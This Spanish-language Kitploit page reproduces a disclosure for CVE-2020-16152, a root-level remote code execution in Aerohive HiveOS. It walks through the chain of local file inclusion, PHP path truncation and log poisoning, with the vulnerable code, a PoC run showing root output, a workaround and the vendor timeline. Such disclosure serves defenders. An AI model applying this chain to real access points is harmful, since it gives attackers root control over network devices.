Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-16152 — Explicación y PoC para CVE-2020-16152 | Kitploit
Herramientas/GitHubGitHub/eriknl/cve-2020-16152
Análisis de VulnerabilidadesExplotaciónMovimiento LateralExplotación de Aplicaciones WebPruebas de PenetraciónExplotación de Binarios
GitHuberiknl/cve-2020-16152

CVE-2020-16152

Explicación y PoC para CVE-2020-16152

Ver Repositorio
116hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-16152

Resumen

Fabricante del productoAerohive Networks / Extreme Networks
Nombre del productoHiveOS / IQ Engine
Versión del productoProbado en 10.0r8a build-242466 y anteriores

La interfaz web administrativa de Aerohive/Extreme Networks HiveOS (NetConfig) es vulnerable a LFI porque utiliza una versión antigua de PHP vulnerable a ataques de truncamiento de cadenas. Un atacante puede usar esto junto con el envenenamiento de logs para obtener derechos de root en un punto de acceso vulnerable.

Como solución alternativa, es posible deshabilitar la interfaz web con el siguiente comando: no system web-server hive-UI enable para protegerse contra esta vulnerabilidad.

Cronograma de divulgación:

Detalles

El parámetro _page utilizado para las llamadas a action/AhBaseAction.class.php5 como se referencia en la url /action.php5 se usa para cargar dinámicamente una clase PHP que se utiliza para una página, como podemos ver en el fragmento de código a continuación ($pageName se toma de $_POST['_page']):

root@kitploit:~
protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

Como podemos ver, no hay un prefijo para este nombre de archivo, lo que permite recorrer la ruta a archivos arbitrarios. Sin embargo, debido a que tenemos un sufijo, no es posible incluir cualquier archivo. Dado que la versión de PHP en el punto de acceso es bastante antigua, podemos sortear esto (más información):

root@kitploit:~
$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

Al llenar la ruta con suficientes caracteres / podemos asegurarnos de que el sufijo Access.class.php5 se trunque por completo y somos libres de incluir archivos arbitrarios. Debido a que los intentos de inicio de sesión fallidos se registran en /tmp/messages e incluyen el nombre de usuario enviado, podemos usar la página de inicio de sesión para envenenar /tmp/messages y luego ejecutar código desde allí con el ataque LFI mencionado anteriormente. Aunque el propio servidor web se ejecuta con un usuario de bajos privilegios, la instancia php-cgi utilizada por hiawatha se ejecuta como root, lo que significa que todo el código php se ejecuta como root:

root@kitploit:~
$ ps | egrep "php|hiawatha"
 2237 root      9980 S    /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin    20840 S    /usr/local/sbin/hiawatha

PoC

root@kitploit:~
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

Descargar herramienta
2019/02/17El problema se reportó a Aerohive Networks
2019/02/19El fabricante recibió el acuse de recibo del problema, sugirió una solución alternativa (deshabilitar la interfaz web)
2019/02/25Confirmación del problema por parte del fabricante
2019/03/18¿Ping?
2019/05/30¿Ping?
2019/06/03El fabricante sugiere una llamada telefónica, se respondió con detalles de teléfono. No se recibió ninguna llamada
2019/08/12¿Ping? El fabricante respondió que el problema se escaló internamente
2019/09/23¿Ping?
2019/09/25El fabricante responde que el problema de LFI aún no se ha solucionado
2020/07/30Se encontró que el problema aún no está solucionado en HiveOS 10.0r8a build-242466 que data de 05/2020. Se reservó CVE y se comunicó la fecha límite del 01/09/2020 para su publicación a menos que se esté trabajando activamente en una solución
2020/09/01Aún sin respuesta del fabricante, publicación de detalles y PoC